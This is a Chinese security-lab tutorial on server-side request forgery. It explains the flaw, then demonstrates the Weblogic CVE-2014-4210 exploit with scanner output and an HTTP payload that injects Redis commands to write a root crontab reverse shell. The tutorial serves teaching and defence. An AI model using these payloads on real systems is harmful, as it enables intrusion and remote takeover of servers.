“燕云实验室”是河北千诚电子科技有限公司成立的网络安全攻防技术研究实验室。专注于web安全,网络攻防,安全运维,应急溯源方面的研究,开发成果应用于产品核心技术转化,国家重点科技项目攻关。
一、关于SSRF
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,利用服务器端发起的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务器端发起的,所以服务器能请求到与自身相连而外网隔离的内部系统)。
二、SSRF挖掘技巧
三、SSRF示例
GET /index.php?url=http://google.com/ HTTP/1.1
Host: example.com
服务器http://example.com从服务器http://google.com获取资源。
四、SSRF的类型
显示攻击者的响应(Basic)
不显示响应(Blind)
五、什么地方最容易出现SSRF
云服务器商。(各种网站数据库操作)
有远程图片加载的地方。(编辑器之类的有远程图片加载啊)
网站采集、网页抓取的地方。(很多网站会有新闻采集输入url然后一键采集)
头像的地方。(某易就喜欢远程加载头像,例如:http://www.xxxx.com/image?url=http://www.image.com/1.jpg)
最后一个一切要你输入网址的地方和可以输入ip的地方
六、SSRF的危害
对服务器所在的内网进行端口扫描,获取一些服务的banner信息等
攻击运行在内网或者本地的应用程序
对内网WEB应用进行指纹识别,通过访问默认文件实现(Readme等文件)
攻击内外网的WEB应用,主要是GET就可以实现的攻击(比如Struts2,SQL注入等)
下载内网资源(利用file协议读取本地文件等)
利用Redis未授权访问,HTTP CRLF注入达到getshell
进行跳板
七 、Weblogic SSRF漏洞应用示例
工具:
https://github.com/zhzyker/exphub/blob/master/weblogic/cve-2014-4210_ssrf_scan.py
使用:
zhzy@debian:/debian/archives-tool/web-weblogic$ python cve-2014-4210_ssrf_scan.py
+----------------------------------------------------------------------+
+ USE: python <filename> <target_ip:port> <scan_address> <process> +
+ EXP: python cve-2014-4210_ssrf_scan.py 1.1.1.1:7001 192.168.1.0 20 +
+ VER: 10.0.2,10.3.6 +
+----------------------------------------------------------------------+
说明:
<target_ip:port> 需要填写weblogic的IP和Port
<scan_address> 为扫描的内网网段
<process> 扫描线程
默认扫描内网端口为:ports = ('22','80','7001','6379'),可根据不同环境自行修改
zhzy@debian:/debian/archives-tool/web-weblogic$ python cve-2014-4210_ssrf_scan.py 59.110.214.109:7001 192.168.112.0 30
192.168.112
[*]+------------------------+
[*]+ Scanning ip and port +
[*]+------------------------+
[+] 192.168.112.1:22
[+] 192.168.112.2:80
[+] 192.168.112.3:7001
[+] 192.168.112.1:7001
[+] 192.168.112.2:6379
[*]+------------------------+
[*]+ Scan completed +
[*]+------------------------+
payload:
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
内网redis getshell工具:
https://github.com/zhzyker/exphub/blob/master/weblogic/cve-2014-4210_ssrf_redis_shell.py
使用:
zhzy@debian:/debian/archives-tool/web-weblogic$ python cve-2014-4210_ssrf_redis_shell.py
+---------------------------------------------------------------------------------------------------+
+ USE: python <filename> <weblogic_ip> <weblogic_port> <inside_ip> <inside_port> <nc_ip> <nc_port> +
+ EXP: python filename.py 1.1.1.1 7001 192.168.1.1 6379 2.2.2.2 5555 +
+ VER: 10.0.2,10.3.6 +
+---------------------------------------------------------------------------------------------------+
说明:
<weblogic_ip> weblogic的IP地址
<weblogic_port> weblogic的端口,一般情况下为7001
<inside_ip> 内网redis主机的IP地址,该地址通过 6.1 的scan脚本得出
<inside_port> 内网redis的端口,默认6379
<nc_ip> 反弹nc shell的IP
<nc_port> 反弹nc shell的端口
payload:
GET uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.3:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
crontab计划任务:
/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件
声明
署名:CC BY-NC-SA 3.0 CN
文中所涉及的技术,思路和工具仅供以安全为目的的学习交流使用,请勿做非法用途否则后果自负。
